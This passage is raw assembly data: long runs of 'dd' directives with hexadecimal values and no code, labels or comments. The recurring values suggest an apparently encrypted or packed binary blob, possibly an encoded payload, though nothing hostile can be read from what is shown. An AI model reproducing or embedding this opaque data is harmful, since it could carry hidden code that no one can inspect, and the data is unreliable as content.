0BA2358E3h, 0F21058F7h, 35A19099h, 8E7C9585h dd 8E7C8D4Ch, 0F2105954h, 80A6680Ch, 7A02A34Ch, 6E11D927h dd 0B3DADC4Fh, 0C81B4E06h, 0DE72C011h, 2A8D226Fh, 0DDD40100h dd 7262D474h, 0C48D2299h, 0FF389AF9h, 921058F9h, 64DD0A93h dd 7D9D6D0Eh, 0D99D6D3Eh, 3C1058F9h, 0B6180A5Bh, 0BF3D334Ch dd 0BA63AC56h, 0F2105907h, 3E4F75DBh, 5491D58Eh, 8EE91FFAh dd 5E8B342Ch, 237E8C48h, 0F2105265h, 0B5BE86F9h, 0E5F25382h dd 38DD5F76h, 8D1C569Ch, 451058F9h, 0F2105911h, 0BB02EB96h dd 1A3E9CEAh, 0A9FEF062h, 5CA05CAh, 938D21A5h, 0F2117F82h dd 0D9CAD1F9h, 3A8D2207h, 75507F79h, 727C4D4Dh, 6781C605h dd 29CA0667h, 0AD8D2230h, 0F74703E0h dd 0C4AF05EAh, 0FF389DF9h, 921058F9h, 653009D2h, 7D9D6CE6h dd 0F49D6D3Eh, 0CB1058F9h, 374C09BAh, 42B201CCh, 0FDDFF0DEh dd 7E1B58F9h, 8BFE71CDh, 7EE018F6h, 0F21058FBh, 45DD58E3h dd 0F21058F7h, 23A66699h, 8E7C8585h, 8E7C8D4Ch, 0F210591Dh dd 0FBA19E2Ah, 3D2155C0h, 73940ABDh, 92F1D91Bh, 0BA2358F9h dd 0F2105910h, 0DA446668h, 0E131F4C3h, 0FB59BA2Eh, 34328867h dd 66430D2h, 8BFE7EE9h, 0A093DEACh, 7910F689h, 8BFE71C9h dd 0F2104764h, 0B415A6F9h, 8546D82Bh, 0F3C7F30Ch, 430713ECh dd 0F7E98889h, 6708D1EAh, 9038B8B2h, 0BA1058F9h, 0EE184BD6h dd 62F0337Ch, 22240282h, 929E55BFh, 341058F9h, 0F2105565h dd 4C1C24F9h, 55E10A6Bh, 0C15C4BF2h, 661B80Fh, 8BF921DDh dd 7F9BBBF9h, 0F7F01C01h, 0F58C58EAh, 53699A49h, 929D741Ah dd 821ACFF9h, 118D21CEh, 0E1C425E1h, 37AC05EAh, 99D2C9BAh dd 928D226Bh, 0CF205DE5h, 929D741Ah, 821ACFF9h, 118D21CEh dd 0E1C718E1h, 37AC05EAh, 896955BAh, 0CC1058F9h, 0D7C7F6D8h dd 1B10B393h, 0F21049CAh, 0BF2A78F9h, 9E93CFABh, 0A9DBC7F5h dd 0F2105BF5h, 0BEDD8DF9h, 946C44Ah, 8BF95CE5h, 92AD1976h dd 929C215Bh, 34F058F9h, 0CF1862B7h, 3E934D9Eh, 92E84D95h dd 0CF5E58F9h, 4BC1DDB7h, 9606EC91h, 791058F9h, 0EB50CA69h dd 0AEEF625Eh, 9FB82221h, 0F7794828h, 0BA9FD1EAh, 0F2105907h dd 0A3F7CAA1h, 904711Eh, 9F8EF742h, 0FE5946A7h, 0E8D28465h dd 0EA273F4Ch, 89675646h, 871058F9h, 0F7E4C828h, 325CC7EAh dd 67105994h, 0F7138C01h, 0D91BC2EAh, 93CC58F9h, 0E82879F2h dd 727629B2h, 0AAF2C07Dh, 9FC5DF46h, 0F00EC7B2h, 0BA3EC093h dd 0F2105905h, 85A7E170h, 0FDE53D7Bh, 0C9D2D235h, 2A8D221Bh dd 680184Dh, 1323888Bh, 0B5FFC7F7h, 7F2CB53Ah, 6530582Fh dd 0F77263E1h, 2729A7EAh, 4E1F400Fh, 248D221Fh, 43EDCC1Bh dd 0E6405CBh, 8BF9524Dh, 0B89E1F34h, 0FA68240Eh, 7E766F8h dd 9FB1F41h, 2C19240Fh, 2CEF851Bh, 4F435CE8h, 0F9773D27h dd 7160295Bh, 2C9C295Ch, 0B7AA5CE8h, 0C7BE9627h, 5BEE477Ch dd 2CA5094Bh, 0E86F36E8h, 0FA2B4CAEh, 7E771F4h, 2CE35CE8h dd 598BFDE9h, 2CBB240Fh, 5B9882EDh, 0B5EE034Bh, 2CE328E0h dd 0F3A57CE8h, 1017A204h, 10AAD9FCh, 2CE078FCh, 0F35BE5E8h dd 860D5D9Bh, 0BEEB6FE6h, 309629E8h, 0CE35CE8h, 0A9AE6811h dd 0B1EC4973h, 58EC48BBh, 71E35CE8h, 9CD197F9h, 0D0E1B105h dd 0BEEB2244h, 0AE0D5BE8h, 0ABEB6035h, 2ABCB127h, 9ECE877Dh dd 17B58543h, 2A165B9h, 87827AB7h, 153B4F46h, 9F6D68CDh dd 19875855h, 60233530h, 66805664h, 47F49859h, 0D6F4BFCEh dd 573DB9CDh, 9E981576h, 0EEA14FFFh, 0C11715ADh, 0BD1BB604h dd 595EFA97h, 0A3F8591Ch, 42CE24D6h, 0A3E844F3h, 0E4FCEA8Fh dd 1BFECA3Bh, 0B5489724h, 727133E5h, 65685390h, 5405EB80h dd 0B73C9035h, 0B46657B9h, 48A1B0F0h, 2E8889DAh, 0EF524FF1h dd 9232658Eh, 0F15ECD3h, 0DB90AA10h, 0A7AB7BF3h, 12F2B713h dd 7BFF8AF6h, 4F2D1348h, 79E42252h, 0E867E525h, 1154F2E7h dd 0D04471B7h, 0E7035342h, 0BCB44984h, 0BB3E4A8Fh, 0DDC7D554h dd 0C28F6C63h, 5D351A76h, 6DCC4B81h, 0F5EA46F4h, 599C2751h dd 4B551878h, 54BB4BC4h, 0AFACD763h, 26B3AC1Ah, 0C4FCF725h dd 0F53E7CCDh, 5A72F239h, 0CDDA36BDh, 0BDE531A4h, 12BBE644h dd 71699368h, 9E6C3A8Ah, 0C84D01B9h, 0DCE4C06Bh, 0C8D5C383h dd 68E11FBh, 0AEB050B5h, 5C550FB8h, 3F9DD575h, 58D990B2h dd 54F310D4h, 0F8A54725h, 0F2124C33h, 0C17B0E4Fh, 0A42428DCh dd 0A803C272h, 9087E524h, 0FBD5808Eh, 29512BDFh, 0E31BA5FDh dd 987919C9h, 6322D9ECh, 4E74212Ah, 914DFFBFh, 0B5703086h dd 0EAEC98F0h, 17DF26Eh, 10E1CB5Ch, 27BAF503h, 8DA0ED46h dd 38F1BD61h, 0BE0A1A76h, 0E968ABB3h, 1E4D7A2Ch, 7750437h dd 5C0DDCEBh, 0CE7F42E5h, 0E2AED9Bh, 0F3829FB0h, 5800E579h dd 0A037989Eh, 1D074E25h, 41C3789Ch, 3579AF1h, 1D591977h dd 392B749Ah, 2E808D0Fh, 5064E54Eh, 0C077D907h, 55EADDFAh dd 0B92F06DAh, 280601EDh, 2EE6FC1Eh, 77D877ADh, 99A0DF55h dd 4A62C2E0h, 4DAFDA39h, 81213F50h, 0A7AC1FB8h, 1F33477Dh dd 789CA3Dh, 26AE70Dh, 0F7FE0331h, 7E4C594Ah, 0C97BD8ADh dd 6152502Fh, 0E1D91A4Fh, 50493338h, 300CA4FBh, 3B68E572h dd 3C2725D7h, 0CB4FC9BCh, 0F97063Ch, 0AC2FB2Dh, 1DB157C3h dd 87A6CA15h, 6220A5B8h, 85FFD106h, 12E3916Ah, 0A64FAC24h dd 9DF5E522h, 0F2E75D09h, 0F85E7ADFh, 2D9DCB7Bh, 0A3D90FACh dd 3059E522h, 0A44EA0BFh, 54DD1Bh, 2F45CF76h, 0D9E06C35h dd 8C41E424h, 49DCACCh, 63662F5h, 82053631h, 2830B9EFh dd 0CBF171CEh, 0E32CD6C7h, 24C2FC76h, 6A88686Ah, 0FEEAE3D4h dd 73A87174h, 0CB408719h, 9E6E6D98h, 0EED0FE06h, 9B305280h dd 0B05BE48Bh, 57FB578Bh, 0E749CC49h, 32765621h, 925A8E70h dd 6CA43F82h, 0C56ACE21h, 0F6B25FD5h, 7555716Fh, 46F5C0D4h dd 2BADE848h, 4D9113FCh, 1A1FB569h, 9658F9Ah, 477775BCh dd 0D044F19Ah, 1684F885h, 3031C073h, 2200A6C9h, 8A99B638h dd 0F72D330h, 0E2328D58h, 0CB40B5A2h, 0FC050DC6h, 1B2BFDF0h dd 0D025FE38h, 0B462257Ah, 77D89BF0h, 0DC497BFBh, 0C0109D04h dd 92177C70h, 39469C8Ch, 7B0D0276h, 4DCA81D4h, 0F036F352h dd 0CB435D98h, 0E5BA5AF7h, 5901E4B2h, 6B6E8581h, 3D23DF6Dh dd 489DCB6Bh, 93448609h, 9AC6E4B2h, 9DA18908h, 55C3992Fh dd 7BEC54F4h, 0E3D3F352h, 3C726B0Dh, 4A389979h, 6DD75B0Fh dd 410C3383h, 0D59C3477h, 4D1C4C93h, 5891A66h, 2D9715E6h dd 914C41ADh, 94FC7E4Dh, 0F9679421h, 54CB582Ch, 5050B096h dd 0D21DDD5h, 43D3E07Bh, 44CEE72Eh, 4ABAB439h, 35274B39h dd 839C3423h, 0E3411FDh, 70DC947h, 2EB7F240h, 0A8D271ADh dd 0C319B208h, 0E6A64712h, 384A7B76h, 13D17600h, 2EB7A81Fh dd 0C7F540ADh, 2EA888DAh, 6C4B08ADh, 7923E2ABh, 0A5EC90E9h dd 52C398F0h, 6183830Bh, 0D4B45C44h, 864458D4h, 83D6583Ah dd 0A7A688F6h, 4CB7B56Bh, 0E3B6AA7Ah, 0AB3B6656h, 0B3129E2Eh dd 0A23D9666h, 0FCE570B7h, 89987AD1h, 0D134A3DCh, 9BA3158Dh dd 0FDC398F0h, 0B7C39529h, 0D505BDF0h, 0C3C464DAh, 3403015Dh dd 0B7C39516h, 9B3B13F0h, 0C3C464B3h, 0E7C784D8h, 9864F8D8h dd 0CEC398F0h, 9B9894B8h, 0B3926C04h, 5E7D2903h, 93189B03h dd 0D31F29B2h, 491618C1h, 34C96530h, 96E3AC13h, 2BBE1961h dd 1980100Dh, 8BE6E3DBh, 0CA0F1E89h, 0EC28DA80h, 0B4636C6Ah dd 34C7B4D9h, 0B467B564h, 192E98F0h, 0B7C3948Ch, 0FBFD1DF0h dd 0AB1B51E2h, 1B2EB474h, 0AB9C9524h, 0B88D2503h, 0B40DD271h dd 58E298F0h, 0B7C39964h, 0C3C7BCB3h, 5CCF77B8h, 0DF6385CBh dd 0DDC485E1h, 71D23F81h, 0B98FAA79h, 0FE293528h, 0AAA6945Ah dd 83B9C3D0h, 751B4E61h, 981B3CCFh, 0B18B2A7h, 12B71FBCh dd 0C68C0C94h, 0FE832603h, 8A811360h, 984FA810h, 0E02BF6A6h dd 0B7B823FCh, 762BFB5Ch, 84651E30h, 4794E6F1h, 0E4754A52h dd 85E7579Eh, 0AE2568E7h, 4CDC199Eh, 0C4886F55h, 790B75C0h dd 341D94FEh, 88A7F9F6h, 4343F8A3h, 5C4A1349h, 97B63154h dd 1E3D4B64h, 0E3ABE0BBh dd 0C4B7166Fh, 70A9CB0Eh, 383F8DDAh, 0B769EFF0h, 19B97847h dd 9A3AE612h, 0B7C393E4h, 7C4897F0h, 0B461E051h, 475898F0h dd 55C6D3D2h, 493A8A19h, 1EC398F0h, 9218042Eh, 6E17F0C3h dd 0B9A53276h, 8A5EF54Bh, 0B84C6B3Eh, 6C904A53h, 0B7C39806h dd 9345B5Ah, 0F2EEA305h, 0E426BBFFh, 0EB1B6169h, 1987F89Dh dd 71377EDFh, 0B7C3992Dh, 8FE4E226h, 177B1DECh, 178BC51Eh dd 5DE0FFC1h, 50C3BB0Bh, 0CBB0192Ah, 9A1636A3h, 0B7C064FBh dd 0B418E0F0h, 764198F0h, 18B45E73h, 61DD22EAh, 2AFC5F5Eh dd 329EF0ABh, 0B467E121h, 0B59E98F0h, 0DF099E2Fh, 0D5ECA2AFh dd 6AD6CE51h, 0B7C38FB9h, 0B12338F0h, 0C3B64813h, 0B785E134h dd 4E0B98F0h, 93572825h, 0EAB78E7Dh, 659A2119h, 0B59C71ABh dd 3717D87Bh, 198E65DDh, 4230613h, 67B11948h, 6CD57775h dd 0B7C39958h, 0CB556338h, 23F7C4F1h, 153A302Ah, 343ECF70h dd 7787DCC2h, 0EC4B376Dh, 0EDCA49B6h, 9A4143EEh, 0A089F183h dd 0D49FD87Bh, 9AA93062h, 0D39EE78Bh, 0B7C39964h, 0ADA1192Ah dd 8E360366h, 0E2209F0Ah, 77928128h, 8BC0CD90h, 0CE3EFB70h dd 0D051810Ch, 6FCCCE1Fh, 0B7C3981Fh, 0B1D42D9Dh, 10320734h dd 0E6F709DCh, 4AE3C16Ch, 9AB05CF2h, 0B7C393B3h, 7C4897F0h dd 4C8D9B0Eh, 9AC398F0h, 0B7C393ADh, 80AA18F0h, 346FD4B2h dd 897D8C32h, 0A0B8CEC7h, 0EDFF0F69h, 1A7AC470h, 4D2DCE50h dd 768E7EECh, 0A7BA7E2Bh, 0B7C38771h, 0FEA60EF0h, 4E71A670h dd 0EDDD5ACCh, 0E23E5A28h, 34F7B029h, 0DC7204DFh, 265B15F1h dd 9AFA7C88h, 0D19EDC83h, 0B7C39956h, 6CA8307Bh, 0B7C39952h dd 0DA408A9Dh, 0D49BFD2Ch, 15A69928h, 4F3BB2D0h, 6EC398F0h dd 516BAC3h, 9AA9EE6Eh, 0B7C396ADh, 0B785E0F0h, 0A85698F0h dd 0F5C75F18h, 2A95BE27h, 0CA2B58A5h, 0B4671C62h, 0FE298F0h dd 9983A956h, 2811307Bh, 0B4E79B47h, 5CC398F0h, 6F5B307Bh dd 0B7C39933h, 0E418029Fh, 9AA3827Dh, 0B7C399E4h, 0B461FDF0h dd 0C9DE98F0h, 0EF66A0B4h, 0A72E2D56h, 0B7C398AFh, 0AEBC30F0h dd 1CB85047h, 0D393A39Fh, 0B7C398F1h, 0B469137Bh, 638998F0h dd 0CA4A5F86h, 2684E484h, 464097B8h, 77A6312Ah, 0B41CE050h dd 908898F0h, 64B86261h, 392179DEh, 6CA4B224h, 0B7C39854h dd 0CB126F70h, 58EA4120h, 0B328714Dh, 0D9A3B716h, 5533A3F8h dd 0D380C548h, 3CB615B0h, 0E224FFEFh, 0D157BD25h, 80E76816h dd 6FC3992Fh, 0B7C39957h, 5BA3F2A1h, 0E4F21A30h, 6F9B3835h dd 0B7C398CAh, 0EB567C1Eh, 0FFDD51F3h, 0B4601C62h, 6C0F98F0h dd 0B7C398CAh, 0F1EC541Dh, 0A538055Dh, 0E8C398F0h, 0DC71F4E9h dd 0BBEEC087h, 4F8E87DFh, 0B466EFA3h, 31C198F0h, 5931D75Bh dd 5C318C54h, 0B7A61635h, 9B1AF96Bh, 0B7C398AFh, 599C72F0h dd 0E661CE2Ah, 8441725Fh, 0D70B6E19h, 0B99A7367h, 1980CD39h dd 601A04F3h, 0A5439B97h, 0D7C398F0h, 0B7C392B8h, 0E9FA40F0h dd 0A3440124h, 7FB11951h, 9B6B4AF4h, 0B7C39CAFh, 934178F0h dd 6AC16352h, 98BEA0A9h, 265B1E51h, 48EE6823h, 0FEC398F0h dd 0B7C39AB8h, 81D7CFF0h, 0A884EA19h, 19026FA4h, 0C119F61Bh dd 0B7C38FB8h, 0F9CE8F0h, 0EEC4F54h, 58438BD7h, 0F9DE163Ch dd 718B95B0h, 0B7C39861h, 5B439DE5h, 670457D2h, 7F4D6B24h dd 0F03DBD81h, 5338F0D9h, 7FC398F0h, 0CAE397E4h, 165FA7A9h dd 71226C46h, 0B7C39854h, 0AA3C3F66h, 218F65E3h, 72223A5Ch dd 0FF52AEB9h, 9C83632h, 669C7250h, 0B7C065B9h, 0E39115F0h dd 4C57E024h, 554876DFh, 96E59489h, 0C2B54425h, 4AFFC370h dd 0FC606F8Bh, 23FF1974h, 0A35F0985h, 0D3898DD7h, 0B418E17Dh dd 0F23598F0h, 1519BA34h, 0D503769Fh, 3561A4AFh, 86E3DB12h dd 0B41AE13Eh, 0EF3998F0h, 0FAE4F6AFh, 0E4237382h, 99E69AF6h dd 26C398F0h, 6FDE1BC8h, 0B7C3995Eh, 5EBC85B2h, 0EA07E292h dd 5AE29E4Fh, 0E8467B84h, 72489AD2h, 0B4661B7Bh, 773298F0h dd 0DEA4C5F5h, 32907848h, 0A5327623h, 2BC398F0h, 8F2F2BC8h dd 0E696329Ah, 7ED72A36h, 7542CB41h, 0D193290Fh, 0B7C39963h dd 0BA7CFF2Ah, 0A72D21A0h, 14C398F0h, 5AF1C8D1h, 6205DFAEh dd 5CC455F6h, 0C1565227h, 0B472E047h, 0AA7098F0h, 0F93CF7EDh dd 0F8AE9AEFh, 9D7D287Eh, 0B629D893h, 0ED0B6ADDh, 8F1DEE70h dd 0C533C770h, 0D33487A0h, 51326DC9h, 0ECC398F0h, 19D8CC1Ch dd 545A57ABh, 0B41DE149h, 0B58898F0h, 0C37E19F1h, 0F1733E06h dd 783E8FC1h, 5504FCFAh, 3290B28Bh, 0B472E168h, 53A698F0h dd 5D5EA395h, 0F4C1DA8Bh, 7B7D59EEh, 0F485E8F6h, 0D8A707EAh dd 7C409B49h, 0B7C065B9h, 0ADE6BF0h, 0AE9D0A96h, 0B182DEBEh dd 0B8BEC598h, 329067CBh, 0B470FE68h, 68CB98F0h, 615EA758h dd 0F854D075h, 0E808195h, 6F95458Ch, 0B7C39957h, 7A646459h dd 26D68B47h, 9AFEADD6h, 0B7C386DEh, 0C62A5FF0h, 7BF83151h dd 0B7C397B9h, 0AA1E36F0h, 0B4C15BC9h, 52396AC8h, 0C505C247h dd 0B7C39AB7h, 0BE58F0h, 0F9642539h, 0BCA6C645h, 0D32EA268h dd 32939F19h, 119C7319h, 76B6D87Bh, 9B42DCE4h, 0B7C380B9h dd 71CEA8F0h, 0F5E393FDh, 0C07AFF48h, 0B58D4BE2h, 0F65422A1h dd 204F500Eh, 0E26BFF67h, 1932D7DEh, 8DC9E113h, 4E326B59h dd 2FC398F0h, 11C8EE8Fh, 0CDCBB04Fh, 0B3FD12CAh, 3C126698h dd 0D608CA58h, 26AF1BEDh, 0B418E0F3h, 519B98F0h, 45D28BAAh dd 718A3995h, 0B7C39861h, 5C4DCDE6h, 0E053D93Ah, 0F847DB6h dd 2E7A3DD0h, 4E2D5138h, 6FC398F0h, 490F9FD7h, 634C4E8Bh dd 0DDD4C7BBh, 0E70CE3CFh, 189ED331h, 0B7C39965h, 2FBE192Ah dd 0A1AD0235h, 0A53A8ADEh, 0D7C398F0h, 0F81CFFC7h, 44403C1Ah dd 8D4861B2h, 0B461FDF2h, 0BEE398F0h, 5F006187h, 0C1357D17h dd 6C0F0F51h, 0B7C3992Dh, 8B92DEDh, 0E35CDA24h, 0A03CBBF9h dd 0ED1E3F8Dh, 5C3079EEh, 0B41A147Bh, 0CD9098F0h, 0B7C39965h dd 1EA0192Ah, 0ED3804F1h, 41ACC370h, 0FF0704A0h, 0B7C38FB8h dd 848C62F0h, 7A66A6DFh, 26B0D87Bh, 0D7A21C3Ah, 0B7C39DB8h dd 208448F0h, 0B5B07BBh, 0D74F305Ah, 38D87960h, 0B4631C62h dd 0CF4898F0h, 5F409B50h, 3920EB70h, 0B4640062h, 198998F0h dd 6FD38917h, 0B7C39957h, 11365362h, 74AF65AEh, 71320C53h dd 0B7C3992Ch, 1E0B8FD8h, 6B7FD560h, 0C5EAD0CEh, 6189F048h dd 0C2A86078h, 0B7C39BB7h, 376BFF0h, 0B4B94F11h, 0A4D2600h dd 0ABDDC771h, 39319DA8h, 269067A1h, 0B7C398F0h, 0B469157Bh dd 0C38298F0h, 1FB3D862h, 8600CD87h, 1D49EC70h, 32909CD4h dd 7687F168h, 0D387D781h, 9243CE65h, 4C3A951Ch, 5CC398F0h dd 6395FA0Ah, 92833642h, 0B7C39CB8h, 23B723F0h, 0E5C73DABh dd 815D0AADh, 99A7253h, 423B80BDh, 0B8C398F0h, 2043EC14h dd 629AC7ACh, 83A11949h, 0A7872D69h, 0D339F68Bh, 61B96C19h dd 32935A86h, 0A64897CBh, 0ED51D270h, 0D489A8DEh, 0ED3AE6AFh dd 71B5DFDEh, 0B7C39860h, 3AAD8B9Eh, 22D04BD5h, 0B4BB7273h dd 0F8E74A8Eh, 6FAF1850h, 6C381846h, 6F7B05ABh, 0B7C39952h dd 2BF906E8h, 0A02F3AE1h, 78EFB9B7h, 1B9342EAh, 0B7C39957h dd 0B7C391B8h, 440FBF0h, 0FC2B4C65h, 1FA10F51h, 8481EBBFh dd 0B7C068B8h, 0C9CEABF0h, 7221E124h, 0A2BF0A0h, 0E3F704DBh dd 0B467EFF8h, 0CB3B98F0h, 5E3B82C4h, 0DDCAA471h, 8E2C52ABh dd 0B40D1462h, 6A8998F0h dd 712FD1FFh, 0B7C39861h, 928B572Ch, 60A4BCB1h, 48F4865Ch dd 9EA9EA57h, 5A5FCE88h, 7E9A673Ch, 0A8A63219h, 0E84D7334h dd 4C4171BAh, 5E489B38h, 0B7C063B8h, 51F3BF0h, 92BF947Fh dd 0F627C9DCh, 22E0FD2h, 54D5C377h, 2FC68227h, 0C840502Ah dd 6CBCCB0Fh, 0B7C39933h, 79AFA4C5h, 0D64E1BFDh, 71289F1Ah dd 0B7C3995Eh, 27213FACh, 5965C8D5h, 0D42B8256h, 1CB96D26h dd 1C80E6FCh, 0E33991BDh, 559C7334h, 0B7C064B9h, 0E9DD10F0h dd 0F2CD76Dh, 8CEB4EDEh, 4F2B6161h, 0FC091FD8h, 34061E93h dd 1A83F723h, 854C71EAh, 365B1975h, 1DDBEE29h, 5638C4E7h dd 0B0C398F0h, 63DA1FB8h, 0BD64EB4Bh, 4D3272F2h, 0E0C398F0h dd 0E555A5FFh, 4BB315BEh, 0E41BB4FEh, 98E29AD2h, 0EDC398F0h dd 5B65C670h, 6F100F2Ah, 0B7C39860h, 0DF3FF42Ch, 0BDC19249h dd 0D0F0AD00h, 473BACFCh, 0B7C392B9h, 5DC539F0h, 0D51E080Bh dd 0B4640062h, 8C4098F0h, 0EDCD122Eh, 27186025h, 0D70B788Eh dd 0D3B9790Fh, 0E4BA7616h, 0C355DE70h, 712A979Ch, 0B7C3997Bh dd 6EFED762h, 0F023AB4Fh, 7B6F317Ch, 6C7DB2ABh, 0B7C3995Eh dd 5C28FC3Eh, 0A07303D5h, 0FE2BDABh, 0F2637E42h, 0B7C392B8h dd 0A3E357F0h, 6FF5470Eh, 0B7C39806h, 68DCADB5h, 31AF6760h dd 0C1F45h, 1EECDEA9h, 0FC0BB948h, 6C5B3062h, 0B7C39965h dd 0CEA099B8h, 0ED191BB9h, 0CB73CF70h, 0B5196929h, 49EE6863h dd 6CC398F0h, 0B7C3992Dh, 22EC47F3h, 0A46CB92Fh, 7AB00C0Dh dd 0B466E0F8h, 0BE5B98F0h, 0BB705215h, 0FC4272CBh, 4C996827h dd 9AC398F0h, 0B7C3944Ah, 749C72F0h, 48C5FC71h, 0A4380C68h dd 7FC398F0h, 5A8603Fh, 19E13D24h, 0E2772C38h, 7BBF1498h dd 0EDB7307Bh, 199EDADEh, 0B7C398F0h, 0B40D017Bh, 778998F0h dd 0A5572804h, 0B7C380B9h, 2E9BB3F0h, 0D823ED0Dh, 0C8DBCAE1h dd 6A908743h, 659C792Eh, 0D4C1D370h, 0E246C870h, 0A53A97BAh dd 0DDC398F0h, 0B117E5EBh, 7DD7EC17h, 0CB9B22CAh, 0E0AE1945h dd 34C45CD9h, 8E2D2C3h, 5F409B97h, 0B7C397B9h, 61FD70F0h dd 0ABB44F6Ch, 0E289AD0Eh, 1CEC0A2Ch, 0D1B21C69h, 0C4897D1h dd 4E2DDFD7h, 9CC398F0h, 4374A481h, 48DA6AEDh, 15908713h dd 9985CD5Eh, 329E325Ah, 7051C1DFh, 0E7C6A396h, 0D5A8D862h dd 95273051h, 0B7C39CB8h, 0ADC6EBF0h, 9D5CD7D0h, 2F0E112Fh dd 34190F3Eh, 0D60109D0h, 0B464E051h, 963798F0h, 0ED5CA34Dh dd 0D42B8ADEh, 0B79EE862h, 513A98F0h, 4EC398F0h, 42114592h dd 0B3F55B23h, 0D4AB1E03h, 0EDB60F51h, 6C3205EEh, 0B7C3992Ch dd 9485C91Bh, 9A9C786Dh, 0A48A8E71h, 356ACE2Ah, 6D6F0947h dd 0B7C39957h, 2AC2C156h, 4D444EFCh, 276C0CC9h, 0B479E17Fh dd 0B86A98F0h, 0B4882545h, 0B8D91FC8h, 2127CF4Eh, 0E239EBE3h dd 0D5E332B2h, 36121848h, 0B46B197Bh, 4E3B98F0h, 0D8C398F0h dd 6C16BF05h, 6C9062BBh, 3F84CA5Ch, 0E247ABEAh, 0D5027919h dd 0B7C38FB8h, 2CD85AF0h, 606C4D18h, 19B8A1DEh, 0C2BC25B9h dd 75190A27h, 0A2C93D8Ch, 0AA489B50h, 0B41D127Bh, 9A3A98F0h dd 0F5C398F0h, 0F0C14AB3h, 0B92589E5h, 0DD28F76Fh, 7180FF79h dd 0B7C39861h, 821D4B68h, 7B64B498h, 5742D9BEh, 0F6750F5h dd 0B472FDDEh, 1BAA98F0h, 0A20019A2h, 2E2A5ADBh, 0D5F80D85h dd 0E08C1764h, 679A71E9h, 6187C8AEh, 4201C746h, 92C398F0h dd 707AF774h, 8859E22Ah, 26A30ED2h, 0EDB40F16h, 0D676F770h dd 0B41B0162h, 0D19098F0h, 0B7C39963h, 0B81FCE2Ah, 0A710192Ah dd 72A6FF37h, 29E35CB3h, 0B4926868h, 68C398F0h, 3348F151h dd 9B644CC1h, 449BDD8Bh, 0E9FA3D7h, 1A09192Ah, 659C734Ah dd 0EBD5C471h, 54E2959Ah, 9C2C3FB5h, 259ECEDEh, 0B7C39964h dd 44E1312Ah, 6C37FADEh, 0B7C39959h, 0EC275C6Dh, 52D5D4C9h dd 5C9C720Eh, 503B6E0Eh, 2AC398F0h, 70A67497h, 1D898F58h dd 8F99F152h, 0B7C380B8h, 79A6F0h, 0CD5023E4h, 513269FFh dd 24C398F0h, 5C3F50EDh, 171833Fh, 0B41AFE9Ch, 3F6798F0h dd 0F443C2BAh, 4D28E70Ch, 4A9C72DFh, 0B41AE05Fh, 0F35298F0h dd 0FF0BB1FBh, 6E604D4Bh, 0A1216B8Eh, 6FB6C870h, 0B7C39861h dd 74F5FB6Ah, 2C121760h, 8A3147B4h, 0C610F474h, 0B41DE0A7h dd 0F1FE98F0h, 0A7C20EB3h, 6F777805h, 0B920DA9Ah, 0C2597760h dd 0A72864BFh, 119AC083h, 5D7DC550h, 0D9C7251h, 0B7C064B9h dd 198DA1F0h, 0FC3AF06Bh, 0DF79947Ch, 0FB0A1C2Bh, 305552C4h dd 0AF4DCD8Bh, 19898FEFh, 6CF3478Eh, 0B7C3995Eh, 0F66B5349h dd 97B71100h, 6AB82273h, 3290B407h, 5E4097C8h, 0ED13D87Bh dd 0A0E38BDEh, 0B04D71A1h, 63BA67AAh, 94106236h, 9AA70F51h dd 0B7C391E4h, 4A9A72F0h, 0D387C71Ch, 87B0167Fh, 348203E0h dd 26909E25h, 0B7C39958h, 0B4631E7Bh, 0FC3998F0h, 0B7C39DB7h dd 0F7DBA5F0h, 0AC205DFEh, 329E3F67h, 4A9A6E1Eh, 0B24A62A0h dd 0B40D0F7Bh, 1C8998F0h, 5F1E7207h, 9AA00F2Ah, 533B8B83h dd 3DC398F0h, 4B89726Ch, 0FE430E17h, 0ED1E6B88h, 0CA4ADF27h dd 0B7C396B7h, 5EC247F0h, 36EB4BA3h, 204EAEEDh, 0AA687F6Dh dd 9A750350h, 0B7C393FBh, 5F9C72F0h, 2A07180Eh, 9A130F2Ah dd 6A87D68Bh, 1987FF9Eh, 34EA62EFh, 9DAD43AAh, 1149682Dh dd 4901D1DEh, 0E5C398F0h, 17ED1032h, 0B2B09FE4h, 0B30FB143h dd 0C07AAF00h, 649C7294h, 5C0718ABh, 9AC9D3E2h, 6189D783h dd 4D645252h, 0C2828DD7h, 0EDACED28h, 5C57DB70h, 34AF0F2Ah dd 8F748412h, 6AA61E72h, 0D9F3B660h, 83A63051h, 3FE8A370h dd 22908661h, 0B7C39964h, 5541CB2Ah, 0B460007Bh, 0D61698F0h dd 7D9A728Ah, 329079BFh, 164D7340h, 0CA81845h, 34A20F2Ah dd 2B241E41h, 991E9B30h, 26C398F0h, 0B479FE69h, 67AE98F0h dd 20050C79h, 930BBE0Ah, 6FFF5AF0h, 0D387F5E2h, 0B41AFDC9h dd 6F4C98F0h, 898C5AB2h, 98471546h, 0B467E03Eh, 266498F0h dd 785E83F4h, 0B468197Bh, 4E3B98F0h, 0B5C398F0h, 674F35D2h dd 76541270h, 6C435584h, 0FA62BBCCh, 0C3310492h, 0B4621E62h dd 329098F0h, 89825723h, 0D680F00Eh, 0B472E00Fh, 726C98F0h dd 84C982A1h, 20AAF546h, 1BBDF697h, 8444CE4Ch, 0D5A8041Fh dd 53021951h, 4E327672h, 0CFC398F0h, 732FB3A4h, 4D435EEDh dd 0FCAD0AEh, 0DC5E6AC9h, 6DE0334Fh, 0FCFD748Ch, 0B7C064B7h dd 690270F0h, 163C8604h, 345D0BE1h, 4C3F4DA0h, 0EB5D07E9h dd 559C72ECh, 0B464E042h, 0E94C98F0h, 6F5E31A2h, 0B7C39861h dd 6EA47DE6h, 0A1CB7F23h, 1EB7AA21h, 0E2D13B4Fh, 0D7613000h dd 699A71D2h, 6350641Eh, 0FACD50BDh, 5E68CA48h, 1989B189h dd 0C2BBF9AAh, 0DD28FE70h, 7E493151h, 17490727h, 449C71CFh dd 1658C771h, 0ED164F63h, 6940EB70h, 0D7B1D87Bh, 0B7C065B8h dd 0BF13D1F0h, 0D669301Bh, 75F54EBCh, 0C6A24DDFh, 0CD9E29CDh dd 0B7C398CAh, 0B4691D7Bh, 0C28298F0h, 852CD470h, 0FD9BC3AFh dd 0B4641562h, 644098F0h, 0D5DF8E0Fh, 0B7C39BB8h, 0A146C0F0h dd 36D3E40Bh, 0A52161CBh, 3E70302Ah, 0B469E862h, 120A98F0h dd 0EDAE1BC2h, 7687F6DEh, 739D6EBDh, 51E59C8Bh, 0AA496852h dd 0D909192Ah, 0B41CFDB1h, 8F9F98F0h, 0F957EA95h, 73129AAEh dd 6C950FD2h, 0B7C3992Dh, 